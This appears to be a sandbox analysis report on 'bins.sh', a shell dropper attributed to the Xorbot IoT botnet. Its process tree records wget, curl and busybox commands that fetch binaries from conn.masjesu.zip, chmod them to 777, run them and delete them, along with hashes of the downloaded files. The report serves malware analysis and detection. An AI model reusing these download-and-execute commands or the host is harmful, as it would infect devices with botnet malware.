Analysis

  • max time kernel
    125s
  • max time network
    142s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/02/2025, 02:57

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250211-dfphyavrbk
  • SHA256 cd0cdef86e58c6080213cb20487b66bbdda6a6802c596a0e17895fe80af92fd3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Reads runtime system information 10 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 32 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 29 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:721
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:724
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:726
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:749
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:751
      • /bin/chmod
        chmod 777 qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • File and Directory Permissions Modification
        PID:827
      • /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        ./qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
          PID:828
        • /bin/rm
          rm qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
          2⤵
            PID:830
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:831
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:835
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:837
          • /bin/chmod
            chmod 777 CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • File and Directory Permissions Modification
            PID:838
          • /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            ./CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
              PID:839
            • /bin/rm
              rm CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
              2⤵
                PID:841
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:842
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:843
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:845
              • /bin/chmod
                chmod 777 H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • File and Directory Permissions Modification
                PID:846
              • /tmp/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                ./H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                  PID:847
                • /bin/rm
                  rm H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                  2⤵
                    PID:849
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:850
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:851
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:853
                  • /bin/chmod
                    chmod 777 wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • File and Directory Permissions Modification
                    PID:854
                  • /tmp/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    ./wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                      PID:855
                    • /bin/rm
                      rm wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                      2⤵
                        PID:857
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:858
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:859
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:861
                      • /bin/chmod
                        chmod 777 LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • File and Directory Permissions Modification
                        PID:862
                      • /tmp/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        ./LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        PID:863
                      • /bin/rm
                        rm LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        PID:865
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:866
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:867
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:869
                      • /bin/chmod
                        chmod 777 2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • File and Directory Permissions Modification
                        PID:870
                      • /tmp/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        ./2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                          PID:871
                        • /bin/rm
                          rm 2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                          2⤵
                            PID:873
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:874
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:875
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:877
                          • /bin/chmod
                            chmod 777 qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • File and Directory Permissions Modification
                            PID:878
                          • /tmp/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            ./qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                              PID:879
                            • /bin/rm
                              rm qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                              2⤵
                                PID:881
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:882
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                • Reads runtime system information
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:883
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:885
                              • /bin/chmod
                                chmod 777 0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                • File and Directory Permissions Modification
                                PID:886
                              • /tmp/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                ./0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                  PID:887
                                • /bin/rm
                                  rm 0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                  2⤵
                                    PID:889
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:890
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    2⤵
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:891
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:893
                                  • /bin/chmod
                                    chmod 777 qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:894
                                  • /tmp/qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    ./qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    2⤵
                                      PID:895
                                    • /bin/rm
                                      rm qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                      2⤵
                                        PID:897
                                      • /usr/bin/wget
                                        wget http://conn.masjesu.zip/bins/QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:898
                                      • /usr/bin/curl
                                        curl -O http://conn.masjesu.zip/bins/QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                        2⤵
                                        • Reads runtime system information
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:899
                                      • /bin/busybox
                                        /bin/busybox wget http://conn.masjesu.zip/bins/QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:901

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

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                                          Downloads

                                          0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i

                                          • Path /tmp/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                          • Size 127KB
                                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l

                                          • Path /tmp/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                                          • Size 111KB
                                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                          • MD5 SHA1 SHA512 SSDEEP

                                          CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H

                                          • Path /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                                          • Size 122KB
                                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                          • MD5 SHA1 SHA512 SSDEEP

                                          H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci

                                          • Path /tmp/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                                          • Size 107KB
                                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                          • MD5 SHA1 SHA512 SSDEEP

                                          LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm

                                          • Path /tmp/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                                          • Size 111KB
                                          • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                          • MD5 SHA1 SHA512 SSDEEP

                                          QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T

                                          • Path /tmp/QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                          • Size 141KB
                                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT

                                          • Path /tmp/qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                          • Size 177KB
                                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                          • MD5 SHA1 SHA512 SSDEEP

                                          qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8

                                          • Path /tmp/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                                          • Size 98KB
                                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN

                                          • Path /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
                                          • Size 119KB
                                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                          • MD5 SHA1 SHA512 SSDEEP

                                          wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl

                                          • Path /tmp/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP